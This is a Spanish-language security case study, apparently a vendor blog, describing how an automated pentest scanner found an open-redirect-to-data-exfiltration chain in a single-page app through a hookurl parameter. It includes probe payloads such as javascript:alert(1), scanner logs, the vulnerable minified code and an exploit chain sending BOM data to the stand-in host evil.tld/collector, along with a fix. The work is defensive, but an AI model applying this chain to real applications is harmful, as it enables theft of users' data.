Descubrimiento de una cadena de exfiltración de datos de segundo orden en las SPA modernas
Cómo se descubrió una cadena de exfiltración de datos de segundo orden del lado del cliente en una SPA moderna, que convirtió una simple redirección abierta en una vulnerabilidad de robo de datos en varias etapas mediante el análisis de JavaScript y la validación de la cadena de explotación.
El auge de las aplicaciones de página única (SPA, Single-Page Applications) ha cambiado de forma fundamental el lugar donde reside la lógica de seguridad. Mientras que las aplicaciones web tradicionales mantenían la autenticación, la autorización y la validación de datos en el servidor, las SPA suelen trasladar estas responsabilidades a enormes bundles de JavaScript que carga el navegador. Este cambio arquitectónico crea una peligrosa ilusión: los desarrolladores implementan en el código del lado del cliente lo que parece lógica de seguridad (comprobar permisos, validar URL, controlar la navegación), olvidando que todo lo que se ejecuta en el navegador del usuario es inherentemente poco fiable.
Los escáneres de vulnerabilidades tradicionales no están preparados para esta realidad. Buscan indicadores del lado del servidor, como redirecciones 302 o errores SQL, y pasan por alto por completo las amenazas que existen únicamente en las interacciones del lado del cliente: flujos de datos a través de sessionStorage, la gestión del estado de los componentes y cadenas de explotación de varios pasos que solo se activan tras determinadas acciones del usuario.
Nuestro último escaneo de Automated Pentest dejó al descubierto precisamente este tipo de vulnerabilidad moderna. El hallazgo no fue una configuración incorrecta del servidor, sino una cadena de exfiltración de datos del lado del cliente que las herramientas tradicionales nunca verían, porque solo existe en la lógica de navegación de la SPA, que aparenta ser una medida de seguridad sin ofrecer ninguna.
El desafío: de un simple parámetro a un exploit de varias etapas
El Engine comenzó con un análisis de riesgos: primero analizó la arquitectura de la SPA e identificó un patrón de riesgo crítico: «redirección abierta y abuso de esquemas en los constructores de navegación externa dinámica». Un escáner tradicional podría probar endpoints como /elbridge?url=... en busca de una cabecera Location y detenerse ahí. Nuestro motor, en cambio, está diseñado para mapear toda la superficie de ataque del lado del cliente.
A partir de este análisis, generó de forma autónoma un plan de investigación detallado:
[RISK-ASSESSMENT] Pattern detected: Dynamic navigation builders
- Application pattern: SPA with client-side routing
- Risk category: Open redirect via untrusted URL parameters
- Potential sinks: window.location, form.action, window.open
- Investigation priority: HIGH
[PLAN-GENERATED] Testing strategy created:
1. Enumerate redirector endpoints: /elbridge, /redirect, /out, /external, etc.
2. Test parameter acceptance: url, next, target, redirect, hookurl
3. Validate scheme handling: https://, http://, //, javascript:, data:
4. Analyze client-side code for navigation sinks
5. Test normalization bypasses and edge cases
La vulnerabilidad residía en el parámetro hookurl del endpoint /elbridge. El primer descubrimiento del Engine fue que el servidor no emitía redirecciones: devolvía 200 OK para casi todas las entradas. El comportamiento real estaba en el código del cliente, y el Scanner fue reconstruyendo sistemáticamente la cadena de explotación.
Fase 1: sondeo inteligente y descubrimiento de filtros El Scanner comenzó comprendiendo las defensas perimetrales mediante sondas dirigidas, lo que reveló una lista de bloqueo parcial en lugar de una lista de permitidos adecuada:
Resultados de las sondas:
[SCANNER] Testing /elbridge parameter acceptance...
[PROBE #1: Basic external HTTPS]
> GET /elbridge?version=1.0&country=DEU&language=DEU&hookurl=https://example.com/receive
< HTTP/1.1 200 OK
Content-Type: text/html
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
X-Frame-Options: SAMEORIGIN
[STATUS] Accepted
[PROBE #2: javascript: scheme]
> GET /elbridge?...&hookurl=javascript:alert(1)
< HTTP/1.1 403 Forbidden
Server: AkamaiGHost
Cache-Control: no-cache, no-store, must-revalidate
[STATUS] Blocked by edge (Akamai)
[PROBE #3: Scheme-relative URL]
> GET /elbridge?...&hookurl=//example.com
< HTTP/1.1 200 OK
[STATUS] Accepted - Risk Amplifier
[PROBE #4: HTTP scheme (downgrade)]
> GET /elbridge?...&hookurl=http://example.com
< HTTP/1.1 200 OK
[STATUS] Accepted - Protocol Downgrade
[ADDITIONAL ACCEPTED SCHEMES]:
• about:blank → 200 OK
• mailto:test@example.com → 200 OK
• data:text/plain,hello → 200 OK
• https://REDACTED.example.com → 200 OK (Subdomain confusion)
• \\example.com → 200 OK (Backslash variant)
[ENGINE-ANALYSIS] Perimeter defense is inconsistent. Blocks:
• javascript: (and encoded/mixed-case variants)
• data:text/html;base64 (HTML payloads)
Accepts numerous dangerous schemes that should be blocked.
Fase 2: análisis estático y modelado del comportamiento
Una vez que el Scanner identificó /elbridge como un posible gestor de navegación, necesitaba entender cómo se utilizaba realmente el parámetro hookurl. El Engine ejecutó un análisis estático sistemático, descargando y examinando los principales bundles de la aplicación.
Proceso de razonamiento del Scanner:
[SCANNER] To understand client-side data flow:
1. Need to download main JS bundles
2. Search for parameter parsing patterns
3. Identify data storage mechanisms
4. Find navigation sinks
5. Trace complete data flow
El Scanner obtuvo primero la página de inicio para identificar los recursos de JavaScript:
[TOOL CALL] curl --http1.1 -sSLi https://REDACTED/
[OUTPUT] Discovered JS bundles:
- /static/js/2.6e5ed615.chunk.js (vendor bundle)
- /static/js/main.a658340c.chunk.js (main application bundle)
[ENGINE-ANALYSIS] No Content-Security-Policy header present.
X-Frame-Options: SAMEORIGIN. SPA shell detected - client-side logic expected.
El Scanner descargó y analizó ambos bundles de JavaScript. El descubrimiento clave surgió al examinar el bundle principal:
Análisis capturado del bundle de JavaScript:
// Scanner discovered critical code patterns:
// 1. PARAMETER PARSING FROM URL
// qn={VERSION:"version",COUNTRY:"country",HOOKURL:"hookurl",LANGUAGE:"language"}
const params = new URLSearchParams(location.search);
const version = params.get(_.kb.VERSION); // "version"
const hook = params.get(_.kb.HOOKURL); // "hookurl"
const country = params.get(_.kb.COUNTRY);
const lang = params.get(_.kb.LANGUAGE);
if (version && hook && country && lang) {
sessionStorage.setItem(_.lb.VERSION, version);
sessionStorage.setItem(_.lb.HOOKURL, hook);
}
// 2. GUARD CHECK
const hasElbridgeSeed = () => Boolean(
sessionStorage.getItem(_.lb.HOOKURL) && sessionStorage.getItem(_.lb.VERSION)
);
// 3. CRITICAL SINK (Scanner-discovered minified code)
// From bundle main.a658340c.chunk.js:
var Lm=()=>{const{t:e}=Object(_.a)(),{projectDetails:a}=Object(c.c)(e=>e.projectDetail),
t=sessionStorage.getItem(be.lb.HOOKURL),n=sessionStorage.getItem(be.lb.VERSION),
i=e=>{const a=document.createElement("form");a.method="POST",a.action=t,a.target="_blank";
const o=document.createElement("input");o.type="hidden",o.name="version",o.value=n,a.appendChild(o);
const i=document.createElement("input");i.type="hidden",i.name="result",i.value=JSON.stringify(e),
a.appendChild(i),document.body.appendChild(a),a.submit()};
Resultado del análisis del Scanner:
[SCANNER] Data flow mapped:
• SOURCE: URL parameter ?hookurl=...
• STORAGE: sessionStorage['HOOKURL']
• TRIGGER: UI button "Go To SHOP" (i18n key: bom.go_to_shop)
• SINK: form.action = sessionStorage['HOOKURL']
• PAYLOAD: POST with hidden fields: version + result (JSON BOM data)
• TARGET: _blank (new tab)
[VULNERABILITY PATTERN] User-controlled input flows directly from URL → sessionStorage → form.action
without any validation or allowlisting.
Este análisis no consistió en adivinar ni en reconocer patrones. En realidad, el Scanner:
1) Descargó el JavaScript de producción y lo descomprimió 2) Analizó bundles de webpack minificados para encontrar el código relevante 3) Entendió el flujo de datos a través de varias funciones 4) Identificó la violación del límite de confianza en la lógica 5) Mapeó la cadena de explotación completa de extremo a extremo
La mayoría de las herramientas de seguridad ven JavaScript como una «caja negra»: pueden detectar parámetros, pero nunca entienden cómo se utilizan. Nuestro Scanner lee el código, lo comprende y mapea la ruta real de la vulnerabilidad.
Fase 3: validación segura de la cadena de explotación El Scanner ejecutó una PoC segura completa para validar la cadena de explotación sin realizar solicitudes externas:
Script de interceptación segura generado:
// Scanner created this safe interception PoC
(function(){
const os = HTMLFormElement.prototype.submit;
HTMLFormElement.prototype.submit = function(){
console.log('[INTERCEPT] Form submission captured', {
action: this.action,
method: this.method,
target: this.target,
payload: Array.from(this.elements)
.filter(el => el.type === 'hidden')
.map(el => ({name: el.name, value: el.value}))
});
// Block actual submission to prevent exfiltration
// do NOT call os();
};
console.log('[SCANNER] sessionStorage hookurl =', sessionStorage.getItem('hookurl'));
})();
Salida esperada de la consola (de la prueba del Scanner):
[SCANNER] sessionStorage hookurl = https://example.com/receive
[INTERCEPT] Form submission captured {
action: "https://example.com/receive",
method: "POST",
target: "_blank",
payload: [
{name: "version", value: "1.0"},
{name: "result", value: "{\"bomData\":[...]}"}
]
}
Fase 4: pruebas exhaustivas y evidencias HTTP sin procesar El Scanner realizó pruebas extensas y capturó pares de solicitud y respuesta HTTP sin procesar:
Payloads aceptados (respuestas 200 OK):
GET /elbridge?version=1.0&country=DEU&language=DEU&hookurl=https://example.com/receive HTTP/1.1
Host: REDACTED
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
HTTP/1.1 200 OK
Content-Type: text/html
Last-Modified: Thu, 16 Oct 2025 12:16:27 GMT
ETag: W/"68f0e21b-b4b"
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
X-Xss-Protection: 1; mode=block
Cache-Control: no-cache, no-store, must-revalidate, max-age=0
Payloads bloqueados (403 Forbidden):
GET /elbridge?version=1.0&country=DEU&language=DEU&hookurl=javascript:alert(1) HTTP/1.1
Host: REDACTED
HTTP/1.1 403 Forbidden
Server: AkamaiGHost
Cache-Control: no-cache, no-store, must-revalidate
Content-Type: text/html
Fase 5: seguimiento del estado y demostración de la cadena de explotación El Scanner hizo un seguimiento de los cambios de estado de la aplicación:
Estado de sessionStorage antes y después:
// BEFORE visiting /elbridge:
sessionStorage.getItem('hookurl') === null
sessionStorage.getItem('version') === null
// AFTER visiting /elbridge with attacker-controlled params:
sessionStorage.getItem('hookurl') === 'https://evil.tld/collector'
sessionStorage.getItem('version') === '1.0'
Cadena de explotación completa (documentada por el Scanner):
1. Victim visits: https://REDACTED/elbridge?version=1.0&country=DEU&language=DEU&hookurl=https://evil.tld/collector
2. SPA stores: sessionStorage['HOOKURL'] = "https://evil.tld/collector"
3. Victim navigates to /componentlist (BOM view)
4. Victim clicks "Go To SHOP" button
5. SPA creates form with: action="https://evil.tld/collector", method="POST", target="_blank"
6. Form submits with payload: version=1.0&result={"bomData":[...]}
7. Attacker receives sensitive BOM data
Por qué es importante: el Scanner como cazador consciente del contexto Este hallazgo demuestra una evolución clave en las pruebas automatizadas. El Scanner no se limitó a encontrar un error; narró la historia de una vulnerabilidad al:
- Sondear sistemáticamente el perímetro para comprender el comportamiento de los filtros
- Analizar el código del lado del cliente para mapear el flujo de datos completo
- Hacer un seguimiento de los cambios de estado a través de varios estados de la aplicación
- Crear PoC seguras que demuestran la explotabilidad sin riesgo
- Proporcionar correcciones accionables con arreglos de código concretos
Código de corrección generado:
// IMMEDIATE CLIENT-SIDE FIX (Generated by Scanner)
function isAllowedDestination(u) {
try {
const url = new URL(u, window.location.origin);
// Enforce https only and exact host/path allowlist
const allowedHosts = new Set(["partner.REDACTED", "nizke-napeti.cz.REDACTED"]);
// Enforce HTTPS only
if (url.protocol !== "https:") return false;
// Strict host allowlist
if (!allowedHosts.has(url.hostname)) return false;
return true;
} catch {
return false;
}
}
// PERMANENT SERVER-SIDE FIXES (Scanner Recommendations):
1. Replace raw URLs with opaque, signed identifiers
2. Server-side validation against strict allowlist
3. Perimeter rule: ^https://(partner\.REDACTED|nizke-napeti\.cz\.REDACTED)(/|$)
4. CSP: navigate-to 'self' https://partner.REDACTED https://nizke-napeti.cz.REDACTED
Conclusión El panorama de las vulnerabilidades web está cada vez más definido por una compleja lógica del lado del cliente. Este caso de estudio demuestra cómo nuestro Engine va más allá del escaneo tradicional al:
- Comprender el carácter con estado de las SPA - Hacer un seguimiento de los datos a través de
sessionStorage - Mapear los flujos de datos del lado del cliente - Del origen al destino
- Probar de forma inteligente - Sondear casos límite y evasiones de filtros
- Aportar evidencias - Capturas HTTP sin procesar, análisis del código, PoC seguras
- Recomendar correcciones - Código de corrección concreto y accionable
Esto no es solo escaneo: es investigación. Nuestro Scanner modela la aplicación como lo haría un atacante, descubre las sofisticadas cadenas de ataque que las aplicaciones modernas pueden crear sin querer, y aporta las evidencias y las soluciones necesarias para corregirlas.